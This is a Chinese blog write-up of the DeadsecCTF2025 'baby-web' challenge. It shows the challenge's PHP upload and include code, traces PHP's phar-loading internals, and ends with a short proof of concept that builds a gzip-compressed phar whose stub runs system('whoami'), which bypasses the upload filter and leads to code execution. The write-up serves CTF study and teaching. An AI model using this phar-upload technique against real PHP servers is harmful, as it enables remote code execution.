include中的phar-DeadsecCTF2025 baby-web
本文最后更新于 3 天前,其中的信息可能已经有所发展或是发生改变。

题目源码:

index.php

<?php
# index.php
session_start();
error_reporting(0);

if (!isset($_SESSION['dir'])) {
  $_SESSION['dir'] = random_bytes(4);
}

if (!isset($_GET['url'])) {
  die("Nope :<");
}

$include_url = basename($_GET['url']);
$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']);

if (!file_exists($SANDBOX)) {
  mkdir($SANDBOX);
}

if (!file_exists($SANDBOX . '/' . $include_url)) {
  die("Nope :<");
}

if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
  die("Nope :<");
}

@include($SANDBOX . '/' . $include_url);
?>

upload.php

<?php
# upload.php
session_start();
error_reporting(0);

$allowed_extensions = ['zip', 'bz2', 'gz', 'xz', '7z'];
$allowed_mime_types = [
  'application/zip',
  'application/x-bzip2',
  'application/gzip',
  'application/x-gzip',
  'application/x-xz',
  'application/x-7z-compressed',
];


function filter($tempfile)
{
  $data = file_get_contents($tempfile);
  if (
      stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
      stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
  ) {
      return true;
  }
  return false;
}

if (!isset($_SESSION['dir'])) {
  $_SESSION['dir'] = random_bytes(4);
}

$SANDBOX = getcwd() . "/uploads/" . md5("supersafesalt!!!!@#$" . $_SESSION['dir']);
if (!file_exists($SANDBOX)) {
  mkdir($SANDBOX);
}

if ($_SERVER["REQUEST_METHOD"] == 'POST') {
  if (is_uploaded_file($_FILES['file']['tmp_name'])) {
      if (filter($_FILES['file']['tmp_name']) || !isset($_FILES['file']['name'])) {
          die("Nope :<");
      }

      // mimetype check
      $finfo = finfo_open(FILEINFO_MIME_TYPE);
      $mime_type = finfo_file($finfo, $_FILES['file']['tmp_name']);
      finfo_close($finfo);

      if (!in_array($mime_type, $allowed_mime_types)) {
          die('Nope :<');
      }

      // ext check
      $ext = strtolower(pathinfo(basename($_FILES['file']['name']), PATHINFO_EXTENSION));

      if (!in_array($ext, $allowed_extensions)) {
          die('Nope :<');
      }

      if (move_uploaded_file($_FILES['file']['tmp_name'], "$SANDBOX/" . basename($_FILES['file']['name']))) {
          echo "File upload success!";
      }
  }
}
?>

<form enctype='multipart/form-data' action='upload.php' method='post'>
  <input type='file' name='file'>
  <input type="submit" value="upload"></p>
</form>

Dockerfile

FROM php:8.2-apache  

RUN DEBIAN_FRONTEND=noninteractive apt-get update && \
  apt-get install -y \
  gcc \
  libbz2-dev && \
  docker-php-ext-install bz2 && \
  rm -rf /var/lib/apt/lists/

RUN rm -rf /var/www/html/*

COPY flag.txt readflag.c /
RUN gcc -o /readflag /readflag.c && \
  rm /readflag.c

RUN chown 0:1337 /flag.txt /readflag && \
  chmod 040 /flag.txt && \
  chmod 2555 /readflag

COPY src/index.php src/upload.php /var/www/html/

RUN chown -R root:root /var/www && \
  find /var/www -type d -exec chmod 555 {} \; && \
  find /var/www -type f -exec chmod 444 {} \; && \
  mkdir /var/www/html/uploads && \
  chmod 703 /var/www/html/uploads

RUN find / -ignore_readdir_race -type f \( -perm -4000 -o -perm -2000 \) -not -wholename /readflag -delete
USER www-data
RUN (find --version && id --version && sed --version && grep --version) > /dev/null
USER root

EXPOSE 80
COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh
ENTRYPOINT ["/entrypoint.sh"]

可以看到

if (!preg_match("/\.(zip|bz2|gz|xz|7z)/i", $include_url)) {
  die("Nope :<");
}

上传文件,同时检查上传文件的关键字,不能出现

if (
      stripos($data, "__HALT_COMPILER();") !== false || stripos($data, "PK") !== false ||
      stripos($data, "<?") !== false || stripos(strtolower($data), "<?php") !== false
  ) {
      return true;
  }
  return false;
}

php8.23.3源码中include底层实现

zend_op_array *compile_filename(int type, zend_string *filename)
{
zend_file_handle file_handle;
zend_op_array *retval;
zend_string *opened_path = NULL;

zend_stream_init_filename_ex(&file_handle, filename);

retval = zend_compile_file(&file_handle, type);
if (retval && file_handle.handle.stream.handle) {
if (!file_handle.opened_path) {
file_handle.opened_path = opened_path = zend_string_copy(filename);
}

zend_hash_add_empty_element(&EG(included_files), file_handle.opened_path);

if (opened_path) {
zend_string_release_ex(opened_path, 0);
}
}
zend_destroy_file_handle(&file_handle);

return retval;
}

php内核的内部函数,对应到phar文件的编译方法

phar_compile_file

static zend_op_array *phar_compile_file(zend_file_handle *file_handle, int type) /* {{{ */
{
zend_op_array *res;
zend_string *name = NULL;
int failed;
phar_archive_data *phar;

if (!file_handle || !file_handle->filename) {
return phar_orig_compile_file(file_handle, type);
}
if (strstr(ZSTR_VAL(file_handle->filename), ".phar") && !strstr(ZSTR_VAL(file_handle->filename), "://")) {
if (SUCCESS == phar_open_from_filename(ZSTR_VAL(file_handle->filename), ZSTR_LEN(file_handle->filename), NULL, 0, 0, &phar, NULL)) {
if (phar->is_zip || phar->is_tar) {
zend_file_handle f;

/* zip or tar-based phar */
name = zend_strpprintf(4096, "phar://%s/%s", ZSTR_VAL(file_handle->filename), ".phar/stub.php");
zend_stream_init_filename_ex(&f, name);
if (SUCCESS == zend_stream_open_function(&f)) {
zend_string_release(f.filename);
f.filename = file_handle->filename;
if (f.opened_path) {
zend_string_release(f.opened_path);
}
f.opened_path = file_handle->opened_path;

switch (file_handle->type) {
case ZEND_HANDLE_STREAM:
if (file_handle->handle.stream.closer && file_handle->handle.stream.handle) {
file_handle->handle.stream.closer(file_handle->handle.stream.handle);
}
file_handle->handle.stream.handle = NULL;
break;
default:
break;
}
*file_handle = f;
}
} else if (phar->flags & PHAR_FILE_COMPRESSION_MASK) {
/* compressed phar */
file_handle->type = ZEND_HANDLE_STREAM;
/* we do our own reading directly from the phar, don't change the next line */
file_handle->handle.stream.handle = phar;
file_handle->handle.stream.reader = phar_zend_stream_reader;
file_handle->handle.stream.closer = NULL;
file_handle->handle.stream.fsizer = phar_zend_stream_fsizer;
file_handle->handle.stream.isatty = 0;
phar->is_persistent ?
php_stream_rewind(PHAR_G(cached_fp)[phar->phar_pos].fp) :
php_stream_rewind(phar->fp);
}
}
}

可以看到

if (strstr(ZSTR_VAL(file_handle->filename), ".phar") && !strstr(ZSTR_VAL(file_handle->filename), "://")) {
if (SUCCESS == phar_open_from_filename(ZSTR_VAL(file_handle->filename), ZSTR_LEN(file_handle->filename), NULL, 0, 0, &phar, NULL)) {
if (phar->is_zip || phar->is_tar) {
zend_file_handle f;

发现文件名中包含字符串 .phar,会调用phar_open_from_filename,跟进

会发现

ret =  phar_open_from_fp(fp, fname, fname_len, alias, alias_len, options, pphar, is_data, error);

phar_open_from_fp接着使用了本函数

static int phar_open_from_fp(php_stream* fp, char *fname, size_t fname_len, char *alias, size_t alias_len, uint32_t options, phar_archive_data** pphar, int is_data, char **error) /* {{{ */
{
static const char token[] = "__HALT_COMPILER();";
static const char zip_magic[] = "PK\x03\x04";
static const char gz_magic[] = "\x1f\x8b\x08";
static const char bz_magic[] = "BZh";
char *pos, test = '\0';
int recursion_count = 3; // arbitrary limit to avoid too deep or even infinite recursion
const int window_size = 1024;
char buffer[1024 + sizeof(token)]; /* a 1024 byte window + the size of the halt_compiler token (moving window) */
const zend_long readsize = sizeof(buffer) - sizeof(token);
const zend_long tokenlen = sizeof(token) - 1;
zend_long halt_offset;
size_t got;
uint32_t compression = PHAR_FILE_COMPRESSED_NONE;

if (error) {
*error = NULL;
}

if (-1 == php_stream_rewind(fp)) {
MAPPHAR_ALLOC_FAIL("cannot rewind phar \"%s\"")
}

buffer[sizeof(buffer)-1] = '\0';
memset(buffer, 32, sizeof(token));
halt_offset = 0;

/* Maybe it's better to compile the file instead of just searching, */
/* but we only want the offset. So we want a .re scanner to find it. */
while(!php_stream_eof(fp)) {
if ((got = php_stream_read(fp, buffer+tokenlen, readsize)) < (size_t) tokenlen) {
MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (truncated entry)")
}

if (!test && recursion_count) {
test = '\1';
pos = buffer+tokenlen;
if (!memcmp(pos, gz_magic, 3)) {
char err = 0;
php_stream_filter *filter;
php_stream *temp;
/* to properly decompress, we have to tell zlib to look for a zlib or gzip header */
zval filterparams;

if (!PHAR_G(has_zlib)) {
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\" to temporary file, enable zlib extension in php.ini")
}
array_init(&filterparams);
/* this is defined in zlib's zconf.h */
#ifndef MAX_WBITS
#define MAX_WBITS 15
#endif
add_assoc_long_ex(&filterparams, "window", sizeof("window") - 1, MAX_WBITS + 32);

/* entire file is gzip-compressed, uncompress to temporary file */
if (!(temp = php_stream_fopen_tmpfile())) {
MAPPHAR_ALLOC_FAIL("unable to create temporary file for decompression of gzipped phar archive \"%s\"")
}

php_stream_rewind(fp);
filter = php_stream_filter_create("zlib.inflate", &filterparams, php_stream_is_persistent(fp));

if (!filter) {
err = 1;
add_assoc_long_ex(&filterparams, "window", sizeof("window") - 1, MAX_WBITS);
filter = php_stream_filter_create("zlib.inflate", &filterparams, php_stream_is_persistent(fp));
zend_array_destroy(Z_ARR(filterparams));

if (!filter) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\", ext/zlib is buggy in PHP versions older than 5.2.6")
}
} else {
zend_array_destroy(Z_ARR(filterparams));
}

php_stream_filter_append(&temp->writefilters, filter);

if (SUCCESS != php_stream_copy_to_stream_ex(fp, temp, PHP_STREAM_COPY_ALL, NULL)) {
php_stream_filter_remove(filter, 1);
if (err) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\", ext/zlib is buggy in PHP versions older than 5.2.6")
}
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\" to temporary file")
}

php_stream_filter_flush(filter, 1);
php_stream_filter_remove(filter, 1);
php_stream_close(fp);
fp = temp;
php_stream_rewind(fp);
compression = PHAR_FILE_COMPRESSED_GZ;

/* now, start over */
test = '\0';
if (!--recursion_count) {
MAPPHAR_ALLOC_FAIL("unable to decompress gzipped phar archive \"%s\"");
break;
}
continue;
} else if (!memcmp(pos, bz_magic, 3)) {
php_stream_filter *filter;
php_stream *temp;

if (!PHAR_G(has_bz2)) {
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\" to temporary file, enable bz2 extension in php.ini")
}

/* entire file is bzip-compressed, uncompress to temporary file */
if (!(temp = php_stream_fopen_tmpfile())) {
MAPPHAR_ALLOC_FAIL("unable to create temporary file for decompression of bzipped phar archive \"%s\"")
}

php_stream_rewind(fp);
filter = php_stream_filter_create("bzip2.decompress", NULL, php_stream_is_persistent(fp));

if (!filter) {
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\", filter creation failed")
}

php_stream_filter_append(&temp->writefilters, filter);

if (SUCCESS != php_stream_copy_to_stream_ex(fp, temp, PHP_STREAM_COPY_ALL, NULL)) {
php_stream_filter_remove(filter, 1);
php_stream_close(temp);
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\" to temporary file")
}

php_stream_filter_flush(filter, 1);
php_stream_filter_remove(filter, 1);
php_stream_close(fp);
fp = temp;
php_stream_rewind(fp);
compression = PHAR_FILE_COMPRESSED_BZ2;

/* now, start over */
test = '\0';
if (!--recursion_count) {
MAPPHAR_ALLOC_FAIL("unable to decompress bzipped phar archive \"%s\"");
break;
}
continue;
}

if (!memcmp(pos, zip_magic, 4)) {
php_stream_seek(fp, 0, SEEK_END);
return phar_parse_zipfile(fp, fname, fname_len, alias, alias_len, pphar, error);
}

if (got >= 512) {
if (phar_is_tar(pos, fname)) {
php_stream_rewind(fp);
return phar_parse_tarfile(fp, fname, fname_len, alias, alias_len, pphar, is_data, compression, error);
}
}
}

if (got > 0 && (pos = phar_strnstr(buffer, got + sizeof(token), token, sizeof(token)-1)) != NULL) {
halt_offset += (pos - buffer); /* no -tokenlen+tokenlen here */
return phar_parse_pharfile(fp, fname, fname_len, alias, alias_len, halt_offset, pphar, compression, error);
}

halt_offset += got;
memmove(buffer, buffer + window_size, tokenlen); /* move the memory buffer by the size of the window */
}

MAPPHAR_ALLOC_FAIL("internal corruption of phar \"%s\" (__HALT_COMPILER(); not found)")
}

函数流程图

+--------------------------------------------------+
| 开始(函数入口) |
+--------------------------------------------------+
|
v
+-------------------------------------------+
| 尝试将流重置到文件开头 |
+-------------------------------------------+
|
如果重置失败 v
+-------------------------------------------+
| 报告错误并退出(MAPPHAR_ALLOC_FAIL) |
+-------------------------------------------+
|
v
+-------------------------------------------+
| 初始化缓冲区(用于读取文件) |
+-------------------------------------------+
|
v
+-------------------------------------------+
| 将文件内容读取到缓冲区并检查文件类型 |
| (GZIP/BZIP2/ZIP/TAR) |
+-------------------------------------------+
|
v
+-------------------------------------------+
| 是 GZIP 文件吗?如果是,使用 zlib 解压 |
+-------------------------------------------+
|
v
+-------------------------------------------+
| 是 BZIP2 文件吗?如果是,使用 bzip2 解压|
+-------------------------------------------+
|
v
+-------------------------------------------+
| 是 ZIP 文件吗?如果是,解析 ZIP 文件 |
+-------------------------------------------+
|
v
+-------------------------------------------+
| 是 TAR 文件吗?如果是,解析 TAR 文件 |
+-------------------------------------------+
|
v
+-------------------------------------------+
| 查找 __HALT_COMPILER() 标记(Phar 文件结束)|
+-------------------------------------------+
|
v
+-------------------------------------------+
| 找到结束标记吗?如果是,解析 Phar 文件 |
+-------------------------------------------+
|
v
+-------------------------------------------+
| 结束(返回解析后的 Phar 数据) |
+-------------------------------------------+
  1. 文件格式识别:首先判断文件是否为 .phar 文件,并识别其压缩格式(GZIP、BZIP2、ZIP、TAR)
  2. 解压缩处理:根据文件类型选择合适的解压方式,必要时进行递归解压
  3. 查找结束标记:通过读取文件并查找 __HALT_COMPILER(); 来判断 .phar 文件的结束位置
  4. 文件解析:一旦找到结束标记,就开始解析 .phar 文件,提取其内容
压缩格式 / 类型魔术头 (magic bytes)内核处理逻辑是否能解析成 Phar说明
原始 Phar(未压缩)无特定头,靠 __HALT_COMPILER();phar_parse_pharfile✅ 是最常见的 phar 格式,文件末尾必须有 __HALT_COMPILER();
ZIP 格式 PharPK\x03\x04phar_parse_zipfile✅ 是Phar 可以用 ZIP 打包,PHP 内核会调用 ZIP 解析器
TAR 格式 Phar512 字节对齐,TAR 头部phar_parse_tarfile✅ 是Phar 也支持 TAR 打包
GZIP 压缩 Phar1F 8B 08使用 zlib.inflate 解压后再解析✅ 是必须启用 zlib 扩展,否则报错
BZIP2 压缩 Phar42 5A 68 (BZh)使用 bzip2.decompress 解压后再解析✅ 是必须启用 bz2 扩展,否则报错
XZ 压缩 Phar(未在源码中匹配)❌ 否内核默认不支持 XZ 压缩的 phar
7z 压缩 Phar(未在源码中匹配)❌ 否内核默认不支持 7z
任意其他压缩包无法匹配 magic bytes回退到 MAPPHAR_ALLOC_FAIL❌ 否会报错:找不到 __HALT_COMPILER();

借鉴狗哥的例子

<?php
$phar = new Phar('exploit.phar');
$phar->startBuffering();

$stub = <<<'STUB'
<?php
system('whoami');
__HALT_COMPILER();
?>
STUB;

$phar->setStub($stub);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();

?>
gzip exploit.phar

将phar文件打包后

php会自动解压这个gz文件,所以最后相当于是直接include这个phar文件

由于底层函数的本质是匹配文件名有.phar就会执行,也就是说include的文件的文件名有.phar就可以

所以题目就游刃而解了

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇